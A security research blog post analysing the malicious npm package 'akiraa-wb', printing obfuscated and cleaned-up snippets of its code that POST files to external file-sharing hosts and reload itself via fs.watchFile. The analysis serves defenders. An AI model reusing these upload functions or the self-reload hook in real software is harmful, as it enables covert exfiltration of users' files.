Security News
Research
Data Theft Repackaged: A Case Study in Malicious Wrapper Packages on npm
The Socket Research Team breaks down a malicious wrapper package that uses obfuscation to harvest credentials and exfiltrate sensitive data.
Security News
Research
Socket Research Team
August 20, 2024
The Socket Research team recently identified an obfuscated file within the "akiraa-wb" package, designed to facilitate unauthorized file uploads to multiple external services. Our analysis revealed that the script covertly transfers a victim's files to various file-sharing services by embedding the file data in form-data within HTTP POST requests directed at specific URLs. Each function within the script is tailored to handle uploads to different services, such as telegra.ph, pomf2.lain.la, and catbox.moe.
The author of this package, bang_syaii, has published several packages, including tools for WhatsApp automation, server security, and YouTube content downloading.
This package was categorized under 'botwa' or 'Selfbot WhatsApp', a type of script known for automating tasks on personal WhatsApp accounts. While many tools and scripts for WhatsApp automation exist on platforms like GitHub, and are even offered by companies, they carry significant risks, including potential account suspension due to WhatsApp's stringent policies.
We found that akiraa-wb demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 0 open source maintainers collaborating on the project.
During our initial review of the package, we encountered the following obfuscated code:
function _0x4efe(_0x15a748, _0x28b9ca) {
const _0x243173 = _0x2431();
return _0x4efe = function (_0x4efe99, _0x2e8744) {
_0x4efe99 = _0x4efe99 - 0x109;
let _0x305124 = _0x243173[_0x4efe99];
return _0x305124;
}, _0x4efe(_0x15a748, _0x28b9ca);
}
const _0x1553a9 = _0x4efe;
.........................tbc................................
'exec',
'https://tmpfiles.org/dl/', 'src', 'Error:', '135HzfDho', 'resolve', 'axios', 'file', 'files[]', 'error', 'https://skizo.tech/api/upload', 'cache', 'fake-useragent', 'file-type', '919626sXBxad', '2003120nLCNPg', '1352ZmrmMk', 'fileToUpload', '25824QnbkcO', 'fail', 'json', 'UPLOADCARE_PUB_KEY', 'https://', 'watchFile', 'https://ucarecdn.com/', '1431070BiPOQa', 'fileName', 'url', 'post', 'POST', 'text', 'chalk', 'https://pomf2.lain.la/upload.php', 'hex', 'randomBytes', '5DFpXfB', 'https://uguu.se/upload.php', 'data', 'https://api.gofile.io/getServer', 'fileupload', 'now', 'http://0x0.st', 'reqtype', 'https://catbox.moe/user/api.php', '.gofile.io/uploadFile', 'success', 'getBuffer', 'https://upload.uploadcare.com/base/', '51SRvzck', 'append', 'https://itzpire.site/tools/upload', 'toString', 'node-fetch', 'GET', '54676UJncpv', 'Failed', 'exports', '44lDjIPY', 'getHeaders', 'cheerio', 'message'];
_0x2431 = function () {
return _0x5f238a;
};
return _0x2431();
}
fs[_0x1553a9(0x11b)](file, () => {
const _0x4f3a81 = _0x1553a9;
fs['unwatchFile'](file), delete require[_0x4f3a81(0x10f)][file], require(file);
})
Upon de-obfuscation of the file, we noticed that the code contains multiple functions that deal with file uploads to suspicious URLs. These functions upload files by sending the file data as part of a multipart form in HTTP POST requests. Below, we’ll explain the relevant parts of the code responsible for these operations, along with code snippets.
Each function starts by creating form data that will be sent in the POST request. This is done using the createFormData
function, which appends the file buffer to the form data.
const createFormData = (_0x28481b, _0x199329, _0xd1715e) => {
const { mime: _0xb2cb19 } = fromBuffer(_0x28481b) || {},
_0x1881ee = new FormData();
return (
_0x1881ee.append(_0x199329, _0x28481b, randomBytes + '.' + _0xd1715e),
_0x1881ee
);
};
_0x28481b
: The file buffer (binary data) to be uploaded._0x199329
: The key name for the file in the form data (e.g., 'file' or 'files')._0xd1715e
: The file extension (e.g., 'jpg', 'png').This function uses fromBuffer
to detect the MIME type of the file and appends it to the form data with a randomly generated filename.
The data collected (file in form-data) is then sent to external URLs using HTTP POST requests. Each function makes a request to a specific URL corresponding to a file-sharing service.
Below the code snippet for uploading a file to Telegra.ph:
telegraPh: async (_0x3d2eed) => {
try {
const { ext: _0xa852ef } = await fromBuffer(_0x3d2eed),
_0x4e049a = await createFormData(_0x3d2eed, 'file', _0xa852ef),
_0x50070e = await fetch('https://telegra.ph/upload', {
method: 'POST',
body: _0x4e049a,
}),
_0x6354d9 = await _0x50070e.json();
if (_0x6354d9.error) {
throw _0x6354d9.error;
}
return 'https://telegra.ph' + _0x6354d9[0].src;
} catch (_0x574189) {
throw false;
}
}
fetch
function sends the form data in a POST request.Another example of sending data to a different service (Uguu.se):
Uguu: async (_0x267cd4) => {
try {
const { ext: _0x331701, mime: _0x135427 } =
(await fromBuffer(_0x267cd4)) || {},
_0x49a3e9 = createFormData(_0x267cd4, 'files[]', _0x331701),
_0x27a6fc = await fetch('https://uguu.se/upload.php', {
method: 'POST',
body: _0x49a3e9,
headers: { 'User-Agent': fakeUserAgent() },
}),
_0x565f49 = await _0x27a6fc.json();
return _0x565f49.files[0].url;
} catch (_0x32a889) {
throw false;
}
}
User-Agent
header is added using fakeUserAgent()
to mimic a real browser.The code handles responses and potential errors with the handleErrorResponse
function. If an error occurs during the POST request, the error is logged and rethrown. This function is not explicitly shown in every upload function but is a utility for handling errors consistently.
handleErrorResponse = (_0x1b618b, _0x10f934) => {
_0x10f934.fail(chalk.red('Failed'));
console.error(chalk.red('Error:'), _0x1b618b.message);
throw _0x1b618b;
}
Additionally, it has been observed that the file continuously monitors itself for any changes through the usage of fs.watchFile. On detecting a change, the code removes the current version of the file from cache and reloads it so that the changes take effect immediately. This could be an attempt to introduce malicious code while avoiding detection.
let fs = require('fs'),
file = require.resolve(__filename)
fs.watchFile(file, () => {
fs.unwatchFile(file)
delete require.cache[file]
require(file)
})
Based on the analysis, this code has been classified as malicious due to its behavior of sending data to external services without the user's consent. The URLs utilized in this script are associated with known malicious endpoints often exploited by cybercriminals or attackers to exfiltrate sensitive data. Specifically, the script collects and uploads files to various file-sharing services without notifying the user, making it a tool for unauthorized data exfiltration. The presence of these URLs and the automated nature of the file uploads are clear indicators of compromise (IOCs) that security teams should monitor to prevent data breaches and mitigate potential threats.
Socket Research Team
Dhanesh Dodia
Sambarathi Sai
Dwijay Chintakunta
Subscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Security News
Research
The Socket Research Team breaks down a malicious wrapper package that uses obfuscation to harvest credentials and exfiltrate sensitive data.
Research
Security News
Attackers used a malicious npm package typosquatting a popular ESLint plugin to steal sensitive data, execute commands, and exploit developer systems.
Security News
The Ultralytics' PyPI Package was compromised four times in one weekend through GitHub Actions cache poisoning and failure to rotate previously compromised API tokens.